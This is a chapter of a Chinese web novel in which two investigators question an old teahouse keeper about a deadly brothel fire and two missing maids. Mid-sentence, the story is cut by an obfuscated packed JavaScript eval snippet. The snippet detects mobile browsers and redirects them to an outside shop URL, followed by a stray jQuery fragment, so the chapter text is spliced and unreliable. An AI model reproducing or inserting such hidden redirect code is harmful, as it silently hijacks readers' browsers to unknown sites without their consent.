69. 第69章 孙婆子的回忆
作品:《杏林天香》 自从柳枝巷有了裴宴的人盯着,许娇娇心里踏实了许多。隔几日便上张记坐诊,张东家前些日子去了江宁府最大的药材市场,是一位痊愈的病人介绍的,说他有个亲戚在江宁府做药材生意,既然此处收不到,那就走远一段,实在不行,更远一点,王家再厉害,也不可能霸占整个大越吧!张东家欣然应允。
与此同时。京城,十里铺官道旁的小茶馆刚卸下门板。
孙婆子佝偻着腰,将烧开的水灌进粗陶茶壶里。茶馆不大,三张方桌,几条长凳,一条褪了色“茶”旗在风中飘扬。灶膛里的火苗跳跃着,映着她满是皱纹的脸——那是岁月和风霜刻下的痕迹,一双眼睛却还透着几分精明。
这茶馆开了快十年了。十里铺是进出京城的必经之地,南来北往的客商、脚夫、镖师,都会在这里歇歇脚。孙婆子烧得一手好茶,还会做些简单的吃食,生意虽不红火,却也够她一个人过活。
只是很少有人知道,这个看起来再寻常不过的茶馆老板娘,曾在京城最有名的勾栏翠玉楼里,烧了二十年的茶水。
门帘被掀起,带进一股晨间的凉气。
两个男人走了进来。一高一矮,都穿着半旧的靛蓝短打,像寻常行脚商人的打扮。高的那个面容冷峻,眼神锐利;矮的那个笑眯眯的,看起来和气些。
“两位客官,喝茶?”孙婆子将茶壶放在灶边,用围裙擦了擦手。
“两碗茶,再上几个馒头。”高个男人开口道,声音低沉。他在靠窗的桌子边坐下,目光在茶馆里扫了一圈。
矮个男人则笑着凑到灶台前:“婆婆,这茶闻着香啊,是自家炒的?”
“乡下粗茶,不值什么。”孙婆子麻利地摆上茶碗,又从蒸笼里取出几个还温着的馒头,“客官是打哪儿来?”
“南边。”矮个男人接过馒头,咬了一口,“往京城去,做点小生意。”
孙婆子点点头,没再多问。她在这十里铺开了这么多年茶馆,什么样的人没见过?这两人虽然穿着寻常,但走路说话的样子,绝不只是寻常行脚商人那么简单。尤其是那个高个的,坐得笔直,眼神时不时扫过门外官道,像是在等什么人,又像是在防备什么。
她将茶端过去,转身要回灶台。
“婆婆,”高个男人忽然开口,“跟你打听个人。”
孙婆子脚步一顿,转过身:“客官要打听谁?”
“听说你从前在京城翠玉楼做过事?”
孙婆子心头猛地一跳,脸上却还挂着笑:“客官听谁说的?老婆子一个乡下妇人,哪去过什么翠玉楼。”
高个男人盯着她,没说话。矮个男人则从怀里摸出一锭银子,“啪”一声放在桌上。银子足有五两,在昏暗的茶馆里泛着诱人的光。
“婆婆,”矮个男人依旧笑眯眯的,“我们兄弟俩没别的意思,就是想打听点陈年旧事。这点银子,算是茶钱,也算是一点心意。”
孙婆子看着那锭银子,又看了看两个男人。她活了六十多年,知道有些钱能拿,有些钱拿了会惹祸上身。眼前这两人,明显是后者。
“客官怕是找错人了。”她摇摇头,转身要走。
“景和十年腊月二十三,”高个男人忽然缓缓开口,“翠玉楼那场大火,死了二十七个人。忠勤伯府的戴衙内,翠玉楼的头牌水娘,还有……”
他顿了顿,一字一句道:“一个叫玉儿的丫鬟,和一个傻丫鬟随儿,活不见人,死不见尸。”
孙婆子的背脊僵住了。她缓缓转过身,脸上的笑容彻底消失了,取而代之的是一种混合着恐惧和戒备的神色。
“你们……到底是什么人?”
矮个男人将银子又往前推了推:“婆婆,坐下说话吧。我们只是想问清楚当年的事,问完了就走,绝不会给你添麻烦。”
孙婆子盯着那锭银子,又看了看两个男人。她知道,今天这事儿躲不过去了。她慢慢走到桌边,在长凳上坐下,双手在围裙上无意识地搓着。
“你们……要问什么?”
高个男人——秦海,从怀里取出一张画像,摊在桌上。画上是个年轻女子的侧脸,眉目精致,眼神却带着几分说不清道不明的媚态。
“认识她吗?”
孙婆子凑近看了看,瞳孔猛地收缩。虽然过去了十年,虽然画上的人年轻许多,但她还是一眼就认出来了——那是水娘,翠玉楼曾经最红的头牌,一曲琵琶能引得满堂掷金如雨的水娘。
“这……这是……”
“水娘,对吧?”张超接口道,“翠玉楼的头牌,景和十年腊月二十三那晚,据说和戴明书一起死在了大火里。”
孙婆子的嘴唇动了动,没说话。
秦海又取出另一张画像。这张画上是个年纪更小的女子,约莫十三四岁,眉眼清秀,却带着几分怯生生的神色。
“这个呢?”
孙婆子看了一眼,手指开始微微发抖。那是玉儿,水娘的贴身丫鬟。大火那晚,有人说看见她从角门跑了,也有人说她死在了火里。后来官府发了海捕文书,可十年过去,再没消息。
“婆婆,”张超的声音温和了些,“我们知道你当年在翠玉楼烧茶水,那晚的事,你肯定看见了什么。说出来,这锭银子就是你的。我们保证,不会让第三个人知道是你说的。”
孙婆子沉默了很久。灶膛里的火噼啪作响,水壶里的水又开始咕嘟咕嘟地滚了。晨光透过门板的缝隙洒进来,在地上投下细长的光斑。
她终于开口,声音有些沙哑:“你们……为什么要查这些陈年旧事?”
“查案。”秦海言简意赅,“一桩牵扯到江南的案子,可能和翠玉楼那场大火有关。”
孙婆子又沉默了。她想起十年前那个火光冲天的夜晚,想起那些凄厉的惨叫,想起浓烟中隐约看见的人影……那些画面,这些年来常常在她噩梦里出现。
“我说了,”她抬起头,眼中露出决然,“你们真能保证不牵连到我?”
“以性命担保。”秦海沉声道。
孙婆子深吸一口气,像是下了很大的决心。她起身,走到门口左右看了看,确认官道上没人,才回身闩上门板。
茶馆里顿时暗了下来,只有灶膛里的火光和从窗缝透进来的微光。
孙婆子重新坐下,压低声音:“那你们问吧。不过我知道的也不多,就是个烧茶水的。”
秦海将画像推到她面前:“先说说水娘和玉儿。”
孙婆子看着画像,眼中闪过一丝复杂的情绪。那是追忆,是唏嘘,或许还有一丝不易察觉的恐惧。
“水娘啊……”她缓缓开口,“那时候真是红透了半边天。十六岁挂牌,十八岁就成了翠玉楼的头牌。长得美,琵琶弹得更好。一首《念奴娇》,能把人的魂都勾走。”
她顿了顿,像是沉浸在回忆里:“楼里的姑娘们都羡慕她,也嫉妒她。老鸨把她当摇钱树,捧在手心里怕摔了,含在嘴里怕化了。那些达官贵人,为了听她一曲,一掷千金都不眨眼。”
“玉儿呢?”张超问。
“玉儿……”孙婆子扯了扯嘴角,露出一个说不清是同情还是讥讽的笑,“那孩子命苦。八岁那年被人牙子卖进来的,瘦得跟个干柴棍似的,看着就可怜。老鸨原本没看上她,是楼里一个过气的姑娘看她可怜,收在身边做了个粗使丫鬟。”
“后来怎么成了水娘的贴身丫鬟?”
“那是玉儿十二岁那年。”孙婆子回忆道,“小姑娘长开了,出落得水灵灵的。虽然比起水娘还差得远,但在丫鬟里算是拔尖的了。老鸨眼睛毒,看出她是个好苗子,就让她去伺候水娘,说是先历练历练,等水娘年纪大了,捧不上去了,就让玉儿顶上。”
她喝了口茶,继续说:“玉儿那孩子,看着怯生生的,其实心思活络。她知道这是机会,伺候水娘格外用心。水娘刚开始不太待见她,嫌她笨手笨脚。可玉儿会来事,嘴又甜,慢慢地,水娘也就用顺手了。”
秦海和张超对视一眼。这和之前查到的信息吻合——玉娘确实是水娘的贴身丫鬟,两人关系密切。
“景和十年腊月二十三那晚,”秦海盯着孙婆子,“到底发生了什么?”
孙婆子的脸色白了几分。她握紧手中的粗陶茶杯,指节有些泛白。
“那天……是小年夜。”她声音压得更低了,“楼里本来很热闹,姑娘们都在准备晚上的宴席。戴大爷是傍晚时分来的,带着几个跟班,一进门就嚷嚷着要水娘作陪。”
她顿了顿,眼中闪过厌恶:“戴大爷那个人,京城里谁不知道?表面上是个伯府公子,实际上……就是个禽兽。他折磨姑娘的手段,说出来都让人做噩梦。楼里的姑娘都怕他,可老鸨不敢得罪,收了五百两银子,硬是把水娘送进了他房间。”
“后来呢?”
“后来……”孙婆子的声音开始发抖,“后来大概戌时三刻,楼上忽然传来一声凄厉的惨叫。那声音……老身这辈子都忘不了......”
茶馆里静得可怕,只有灶膛里火苗跳跃的噼啪声。
“然后呢?”秦海追问。
“然后火就烧起来了。”孙婆子闭上眼睛,仿佛又看到了那晚冲天的火光,“先是从戴大爷所在的听雨轩冒烟,接着火苗就蹿出来了。楼里顿时乱成一团,姑娘们尖叫着往外跑,龟公、护院忙着救火,可火势太大,根本扑不灭。”
她睁开眼睛,眼中满是恐惧:“老身吓坏了,想从茶水房跑出去,可门被掉下来的梁柱堵住了。老身只好从楼梯间的一个小窗户爬出去,那是二楼,我闭着眼睛跳下去,腿都摔瘸了。”
“你跑出来的时候,看见了什么?”秦海敏锐地抓住重点。
孙婆子沉默了很久,久到秦海几乎以为她不会说了。
“老身……”她终于开口,声音轻得像耳语,“老身一瘸一拐地往巷子口跑。那时候火已经烧得很大了,半边天都映红了。我跑到角门那里,想从那儿出去……”
她停下来,咽了口唾沫:“然后我看见了……一个人。”
“谁?”
“一个男人。”孙婆子说,“穿着深色的衣衫,披着黑色大氅,就站在角门外的阴影里。”
秦海和张超同时坐直了身子。
“可看清楚是什么样的男子?多大年纪,高矮胖瘦?”
“看年纪大概二十多岁,当时天黑,我也看的不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351724|197528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是很清晰,身高嘛大概就和官人差不多。”孙婆子指了指秦海。
“你认识他吗?”
孙婆子摇头:“不认识。但戴大郎来的时候,是和他一起来的。我躲在茶水房的门缝里偷看过,戴大郎对他很客气,一口一个‘宋兄’。”
宋兄!
秦海和张超心中同时一震。江南发运使崔琰的背后是宋贵妃,是宋国公府。这个“宋兄”,会不会就是宋家的人?
“那个人什么时候走的?”秦海急声问。
“没待多久。”孙婆子回忆道,“他们来的时候大概是酉时,那个人在楼里坐了不到一刻钟就走了。戴大爷留下来,指名要水娘。”
“大火烧起来的时候,他为什么又回来了?”
“我不知道。”孙婆子摇头,“但我看见他接了一个人。”
“谁?”
孙婆子的嘴唇抖了抖:“玉儿。”
茶馆里再次陷入死寂。
灶膛里的火忽然爆了个灯花,吓了三人一跳。
“你看清楚了?”秦海的声音紧绷着。
“看清楚了。”孙婆子肯定地说,“虽然火光大,浓烟也多,但角门那里离火场远些。我躲在阴影里,看见玉儿从角门跑出来,头发散着,脸上有灰,但就是她没错。那个人接住她,两人一句话没说,就上了一辆停在外面的马车。马车很快走了,往北边去了。”
秦海和张超对视一眼,都从对方眼中看到了震惊。
“那水娘呢?”张超问,“你真的看见她和戴明书死在一起了?”
孙婆子摇头:“大火烧了一夜,五城兵马司来的时候,楼已经塌了。后来清点尸体,在听雨轩的废墟里找到两具抱在一起的焦尸。一具从身上的玉玦认出是戴大爷,另一具从残存的首饰衣物看,像是水娘。但……”
她顿了顿,眼中闪过一丝疑虑:“但那具女尸烧得太厉害了,根本看不出原本的样子。官府说是水娘,大家也就信了。可我现在想想……如果玉儿能跑出来,水娘为什么不能?”
“你的意思是……”秦海瞳孔微缩。
“我不知道。”孙婆子摇头,“我只是个烧茶水的,不懂这些。但我记得,水娘身边除了玉儿,还有个傻丫鬟叫随儿。那孩子脑子不好使,平时就在后院干些粗活。大火那晚,有人看见她从倒夜香的那个门出去了,再没回来。”
秦海脑中迅速串联起线索。如果那具女尸不是水娘,而是傻丫鬟随儿呢?水娘放火烧了翠玉楼,杀了戴明书,然后扮作随儿从角门逃走?而玉儿,则被那个“宋兄”接走?
这样一来,两个“失踪”的丫鬟就都有了下落。一个成了江南水月庵的住持水仙姑,一个成了崔琰干儿子的夫人崔娘子。
而这一切的背后,可能都有那个“宋兄”——宋家人的影子。
“婆婆,”秦海从怀中又取出一锭银子,和桌上那锭放在一起,“今天的话,到此为止。你从没见过我们,我们也没来过这里。明白吗?”
孙婆子看着那两锭银子,重重点头:“我明白。我老婆子还想多活几年。”
秦海和张超起身,正要离开,孙婆子忽然又叫住他们。
“还有一件事……”她犹豫着说,“我不知道有没有用。”
“你说。”
“玉儿被卖进翠玉楼之前……”孙婆子回忆道,“我听那个收留她的过气姑娘说过,玉儿好像不是普通人家出身。她爹原本是个小官,犯了事被抄家,女眷被发卖。玉儿那时候小,记不清家里具体是做什么的,只记得家里以前有过丫鬟仆人,还读过书。”
她顿了顿:“那姑娘还说,玉儿后背有块胎记,像片柳叶。老鸨验身的时候看见了,还笑着说‘倒是好认’。”说到这里,孙婆子犹豫了一下,又接着道:“楼里那夜逃出去的老身还看到一人,是个官员。”
“官员?”秦海和张超心中又是一震。这或许是个关键线索。
“说是在骐骥院任职。也是那个过了气的姑娘说的。她也是个可怜人,可惜那晚也没逃得脱,唉,造孽!”
孙婆子提供的这条线索更加重要。
“多谢。”秦海郑重道,“婆婆可知道他身份,姓名?”
孙婆子摇了摇头,”老身知道的只有这么多了。”
两人见再也问不出什么,就不再多留,推开茶馆门走了出去。晨雾已经散了,官道上开始有行人车马。他们上了停在路边的一辆不起眼的马车,迅速离去。
茶馆里,孙婆子闩上门,背靠着门板,长长舒了一口气。她走到桌边,看着那两锭银子,伸手摸了摸,冰凉的触感让她稍微安心了些。
她将银子收进怀里,走到灶台前,继续烧水。水壶咕嘟咕嘟地响着,白气蒸腾,模糊了她满是皱纹的脸。
那些陈年旧事,她原本以为会烂在肚子里,带进棺材。没想到十年过去了,还是被人翻了出来。
她想起水娘弹琵琶时低眉顺眼的样子,想起玉儿刚来时瘦骨嶙峋的模样,想起那晚冲天的火光和凄厉的惨叫……
“造孽啊……”她喃喃自语,往灶膛里添了把柴。
火苗蹿得更高了,映得她脸上明明灭灭。

